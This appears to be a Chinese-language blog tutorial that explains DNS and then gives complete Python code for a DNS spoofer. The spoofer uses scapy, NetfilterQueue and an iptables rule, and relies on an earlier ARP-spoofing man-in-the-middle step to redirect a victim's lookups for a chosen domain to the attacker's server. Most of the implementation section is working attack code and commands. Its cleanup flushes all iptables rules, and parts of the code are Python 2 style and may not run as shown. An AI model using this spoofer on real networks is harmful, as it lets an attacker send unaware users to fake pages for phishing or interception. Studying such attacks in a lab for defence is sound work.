DNS Spoofer:使用 Python 實作「DNS 欺騙」

什麼是 DNS?

網際網路上的所有電腦,從智慧型手機或筆記型電腦到為大量零售網站提供內容服務的伺服器,都是使用數字找到彼此並互相通訊。這些數字稱為 IP 地址。當您開啟 Web 瀏覽器進入網站時,不需要記住這些冗長的數字進行輸入,而是輸入像 example.com 這樣的網域名稱就可以連接到正確的位置。

Amazon Route 53 這類的 DNS 服務是一種全球分佈的服務,它將 www.example.com 這種人們可讀取的名稱轉換為 192.0.2.1 等數字 IP 地址,供電腦用於互相連接。網際網路 DNS 系統的工作原理和電話簿類似,管理名稱和數字之間的映射關係。DNS 伺服器將名稱請求轉換為 IP 地址,以控制最終使用者在 Web 瀏覽器中輸入網域名稱時要連接的伺服器。這些請求稱為查詢

如果用戶想連接 google.com,用戶的機器會自動向 DNS 伺服器 發送請求,說我要 google.com 的 IP 地址,如圖:

DNS 伺服器會響應該域名對應的IP地址:

然後用戶將正常連接到伺服器 :

參考連結:https://aws.amazon.com/tw/route53/what-is-dns/


什麼是 DNS 欺騙?

DNS(Domain Name System)簡單來說就是能讓都是數字的 IP 位址更改為人類較容易記憶的名稱,為了加快讀取,DNS 通常會以快取的方式存取已對應的 IP 位址,並短時間內都不會再次詢問其 IP,而 DNS 欺騙便是攻擊者利用提供錯誤的 IP 位址,使得伺服器將 DNS 導向至惡意的網頁。

接下來會圖解說明本章結程式將會如何操作 DNS 欺騙 。

為了成為中間人(man-in-the-middle),你需要執行 ARP 欺騙腳本,因此受害者將首先將 DNS 請求發送到你的機器(Attacker),而不是直接將它們路由到網路。

由於攻擊者(Attacker) 介於兩者之間,他將收到指示“google.com 的 IP 地址是什麼”的 DNS 請求,然後將其轉發到 DNS 服務器,如下圖所示:

DNS 伺服器收到一個合法的請求,它將響應域名對應的IP地址 :

攻擊者(Attacker) 現在收到了具有 google.com 真實 IP 地址的 DNS 響應,他現在要做的是將此 IP 地址更改為惡意的假 IP。

這樣,當用戶在瀏覽器中輸入 google.com 時,他會連結到攻擊者的假頁面!


實作

以下為完整 程式碼:

首先,我需要提到我們將使用 NetfilterQueue ,它提供對 Linux 中 iptables 規則匹配的數據包的訪問(因此這僅適用於 Linux)。

我們需要插入一個 iptables 規則,打開 linux 終端並輸入:

iptables -I FORWARD -j NFQUEUE --queue-num 0

該規則說明,無論何時轉發封包,都將其重定向(-j 表示跳轉)到 netfilter 佇列號 0。這將使我們能夠將所有轉發的數據包重定向到 Python 中。

現在,讓我們安裝所需的依賴項:

pip install netfilterqueue

程式中導入需要使用到的模組:

import netfilterqueue
import scapy.all as scapy
import os

netfilter queue 函式將需要一個回調,每當數據包轉發時都會調用該回調:

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        # print(scapy_packet.show())
        qname = scapy_packet[scapy.DNSQR].qname
        if "vbrant.eu" in qname:
            print("[+] Spoofing target")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.15")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].chksum
            del scapy_packet[scapy.UDP].len

            packet.set_payload(str(scapy_packet))

    packet.accept()

現在,讓我們在插入 iptables 規則後實例化 netfilter queue :

QUEUE_NUM = 0
# insert the iptables FORWARD rule
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# os.system("iptables -I OUTPUT -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# os.system("iptables -I INPUT -j NFQUEUE --queue-num {}".format(QUEUE_NUM))

# instantiate the netfilter queue
queue = netfilterqueue.NetfilterQueue()

我們需要將 netfilter 佇列號與我們剛剛編寫的回調綁定並啟動它:

try:
    # bind the queue number to our callback `process_packet`
    # and start it
    queue.bind(QUEUE_NUM, process_packet)
    queue.run()
except KeyboardInterrupt:
    # if want to exit, make sure we
    # remove that rule we just inserted, going back to normal.
    os.system("iptables --flush")
finally:
    os.system("iptables --flush")

我將它包裝在 try-except 中以檢測何時觸發中斷 CTRL+C,因此我們可以刪除剛剛插入的 iptables 規則。

現在在我們執行它之前,記住我們需要成為一個中間人,所以讓我們執行之前教程中製作的 arp 欺騙腳本

讓我們執行我們剛剛創建的 dns 欺騙器:

python dns_spoof.py

現在腳本正在偵聽 DNS 響應,讓我們轉到受害機器並 ping vbrant.eu(本範例拿此網站做測試,或是可以使用其他 http 網站做測試):

你將發現我們的測試網域 vbrant.eu 的 IP 地址是 10.0.2.15 !

我們嘗試瀏覽 vbrant.eu 網站:

會發現網站內容會被引導到 10.0.2.15 的內容, 10.0.2.15 是我架在攻擊者主機的 Apache 伺服器,如果不會架設可以參考此篇文章

Leave a Reply

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *